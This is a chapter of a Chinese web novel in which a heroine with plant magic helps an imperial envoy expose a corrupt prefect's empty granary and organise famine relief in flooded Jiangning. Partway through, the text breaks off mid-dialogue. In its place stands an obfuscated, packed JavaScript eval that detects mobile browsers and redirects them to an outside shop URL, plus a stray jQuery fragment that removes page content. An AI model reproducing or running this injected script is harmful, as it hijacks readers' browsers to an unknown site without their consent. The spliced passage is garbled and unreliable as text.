春月十一,钦差车队抵达江南重镇——江宁府。
城门外的景象,让所有人倒吸一口凉气。
官道两旁搭满了破烂的窝棚,草席、破布、甚至几根树枝撑起来就算个家。
灾民们或坐或躺,眼神空洞,面黄肌瘦。
空气中弥漫着腐臭和绝望的气息,几个衣衫褴褛的孩子追着车队,伸出干枯的小手:“大人,给口吃的吧……”
林疏影掀开车帘的手在颤抖。
上辈子她在电视上看过灾区报道,但亲眼所见,冲击力完全不是一个量级。
那些孩子最大的不过七八岁,最小的还在母亲怀里吃奶。
“停车。”她哑声说。
车队停下。
林疏影跳下马车,从车上搬下一袋干饼,那是她路上准备的,本打算应急用。
“阿瓜,分给大家。”
“小姐,这……”阿瓜犹豫,“咱们的粮食也不多。”
“先分。”林疏影不容置疑,“能救一个是一个。”
干饼不多,一人只能分到半个巴掌大的一块。但就是这一小块饼,让那些麻木的眼睛里重新燃起了光。灾民们跪地磕头,哭声四起。
“谢大人……谢青天大老爷……”
林疏影别过脸去。
“先进城。”萧晟叡走过来,低声道,“城里有官仓,先开仓放粮。”
车队重新启程。
穿过灾民营时,林疏影看见一个老妇人抱着个婴儿,婴儿一动不动,脸色青紫。
她心里一紧,正要下车查看,被萧晟叡按住。
“来不及了。”他声音干涩,“每天……都有很多。”
林疏影闭上眼,指甲掐进掌心。
—— ——
江宁府衙,气氛诡异。
知府姓吴,四十来岁,白白胖胖,笑起来像尊弥勒佛。
可那双眯缝眼里,精光闪烁。
“下官吴德才,恭迎钦差大人!”吴知府领着大小官员在衙门口跪迎,态度恭顺得挑不出毛病。
萧晟叡坐在主位,面无表情:“吴知府,灾情如何?”
“回殿下,”吴知府抹了把汗,“此次黄河决口,江宁府受灾最重。下官已开官仓放粮,设粥棚施粥,只是……灾民太多,粮食有限,实在力不从心啊。”
“官仓还有多少存粮?”
“这……”吴知府支吾,“大约……五万石。”
“五万石?”萧晟叡挑眉,“江宁府是江南粮仓,常平仓额定储粮二十万石。去年秋收,朝廷还特批了十万石充实粮储。怎么只剩五万石了?”
吴知府冷汗涔涔:“殿下明鉴,去年虫灾损耗了些,今年春荒又放了些,再加上水患仓房进水,霉烂了些……”
“哦?”萧晟叡笑了,“虫灾、春荒、水患,都让你们赶上了?吴知府,你这官运,可真是不顺。”
这话说得轻飘飘,吴知府却腿一软,差点跪倒。
“行了。”萧晟叡摆摆手,“带我们去粮仓看看。”
“现在?”吴知府脸色一变。
“就现在。”
粮仓在城西。
车队到时,仓门紧闭,几个仓吏懒洋洋地坐在门口晒太阳,见知府大人来了,才慌忙起身。
“开门。”萧晟叡命令。
仓吏看向吴知府,吴知府咬牙点头。
仓门打开,一股霉味扑面而来。
偌大的仓房里空荡荡的,本该堆满粮食的地方,只稀稀拉拉堆着些麻袋。
萧晟叡走过去,随手划开一个麻袋,里面是掺了沙土的陈米,还混着不少谷壳。
“这就是你说的五万石?”他看向吴知府。
吴知府扑通跪下:“殿下恕罪!下官也是被逼无奈啊!江宁府的粮,早就被几家粮商‘借’走了!他们背后有京城的关系,下官不敢得罪啊!”
劳弘化冷笑:“借?什么时候还?”
“说等新粮下来就还……”
“新粮?”林疏影忍不住开口,“田都淹了,哪来的新粮?”
吴知府缩着脖子,不敢接话。
萧晟叡没再理他,对劳弘化道:“查。查这些粮商背后是谁,查这些年江宁府的粮储账目。”
“是。”
出了粮仓,林疏影心情沉重。
官仓空虚,粮商囤积,灾民饿死,典型的官商勾结,发国难财。
“殿下,”她低声道,“光靠官仓不行。得想办法从粮商手里把粮食弄出来。”
“怎么弄?”
林疏影想了想:“两个法子。第一,以彼之道还施彼身——他们能‘借’粮,咱们也能‘借’。第二,釜底抽薪——打压粮价,让他们囤的粮砸在手里。”
萧晟叡看向她:“具体怎么做?”
“第一件事,得靠赵姑娘。”林疏影看向赵荻儿,“赵氏镖局在江南有分号吧?”
赵荻儿点头:“有,江宁府就有一家。”
“让你的人去查,那几家粮商的粮仓在哪儿,有多少守卫,什么时候运粮。”
“明白。”赵荻儿眼中闪过厉色,“江湖有江湖的规矩。发国难财的,人人得而诛之。”
“第二件事,”林疏影看向萧晟叡,“得靠殿下的名头。放出消息,就说朝廷已调拨百万石粮食南下,不日即到。再让我大哥的商会在江南各州散布消息,说京城粮价大跌,囤粮的赶紧抛售。”
“虚张声势?”
“兵不厌诈。”林疏影说,“那些粮商不是傻子,听到风声,肯定会慌。一慌,就会抛售。咱们趁机低价收粮,既稳定粮价,也充实官仓。”
萧晟叡沉吟片刻,点头:“好。劳弘化,你去办第一件事。赵姑娘,第二件事交给你。”
“是!”
“那我呢?”魏馥玉跃跃欲试。
“你有更重要的任务。”林疏影说,“组织灾民,以工代赈。”
第二天,江宁府城墙上贴出了告示:“奉钦差令,征召民夫修堤清淤。成年男子每日三斤米,妇女老人每日两斤米,孩童每日一斤米。愿者速至城西报名。”
告示一出,灾民蜂拥而至。
魏馥玉在城西空地搭了个简易棚子,带着十几个衙役维持秩序。她一身红衣,手提长棍,往那儿一站,气势十足。
“排队!都排队!不排队的不给米!”
灾民们乖乖排成长龙。登记,发号牌,领工具。工具是临时凑的——锄头、铁锹、箩筐,不够的就用木头削。
林疏影站在高处,看着黑压压的人群,心里稍安。人只要有活干,有饭吃,就不会生乱。
她走下高台,来到登记处。一个老妇人正颤巍巍地领号牌,手里还牵了个四五岁的小女孩。
“大娘,”林疏影蹲下身,“
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17599287|202898||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
您家里还有劳力吗?”
老妇人抹泪:“没了……儿子淹死了,媳妇病死了,就剩我们祖孙俩……”
“那您能干什么活?”
“我还能缝补、做饭……”老妇人怯怯道,“妞妞也能捡柴火……”
林疏影想了想,对魏馥玉说:“这样,设个‘妇孺队’。老人妇女负责做饭、缝补、带孩子,孩子帮忙捡柴、跑腿。也发粮,按人头算。”
“好!”
消息传开,不到半天就召集了三千多人。林疏影把人分成三队:一队修堤,由工部官员带队;一队清淤,由劳弘化负责;一队妇孺,在营地做饭打杂。
她自己则带着速生种子,选了城边一块水退后的高地,准备试种。这块地约莫十亩,土还湿着,但勉强能下脚。
“陈伯,”她对跟来的陈庄头说,“您带着咱们的人,教大家整地、播种。种子金贵,要省着用。”
“二小姐放心。”陈庄头应下,带着几个长工下田示范。
灾民们围在田埂上看,半信半疑。“这啥种子?三十天就能收?”“官府的话能信?”
林疏影也不解释,卷起裤腿,脱下鞋袜,赤脚下田。田里淤泥没过脚踝,冰凉粘腻。她拿起锄头,开始翻地。
汗水很快湿了鬓角。
“小姐,您歇着,我们来!”阿瓜想劝。
“不用。”林疏影抹了把汗,“我得带头。”
她弯腰,抓起一把土凑近闻了闻——还好,没被污染太严重。又调动木灵根感知了一下,土壤生命力微弱,但还能救。她凝神静气,将暖流缓缓注入土地。
一个时辰后,十亩地翻整完毕。林疏影直起腰,眼前发黑,晃了晃。
“小姐!”阿瓜赶紧扶住她。
“没事,就是有点累。播种吧。”
种子被小心翼翼撒下。速生白菜、萝卜、青菜,每样三亩,剩下一亩种早稻。
撒完种,覆上薄土,浇一遍水。林疏影站在田埂上,看着这片新翻的土地,心里默默祈祷。
接下来的几天,林疏影几乎长在了田里。
白天教灾民种地,晚上研究《青木导引术》。她在试验田周围埋了几块特制的木牌,按照书上的方位布置了简易的“聚灵阵”。
第三天早晨,田里冒出了点点绿芽。第五天,已经长出两片真叶。第十天,白菜苗已有巴掌高。
灾民们惊呆了。
“真是神种啊!”
“嘉禾乡主是活菩萨!”
消息传开,更多灾民主动要求学种地。
林疏影来者不拒,把种子分下去,又选了十几块地扩大种植面积。
但她的身体也到了极限,加上日夜操劳,她瘦了一圈,脸色苍白。
萧晟叡看在眼里,急在心里。
“疏影,你得休息。”这天傍晚,他拦住又要下田的林疏影。
“还有最后一块地……”林疏影声音虚弱。
“明天再说。”萧晟叡不由分说,拉着她往回走。
回到临时住处,林疏影一进屋就瘫坐在椅子上。萧晟叡倒了杯热水递给她,眉头紧皱:“你脸色很难看。”
“没事,就是累。”林疏影勉强笑笑,“田里长得很好,再有一个月就能收第一茬菜了。到时候……”
话没说完,她忽然眼前一黑,往前栽去。
—— ——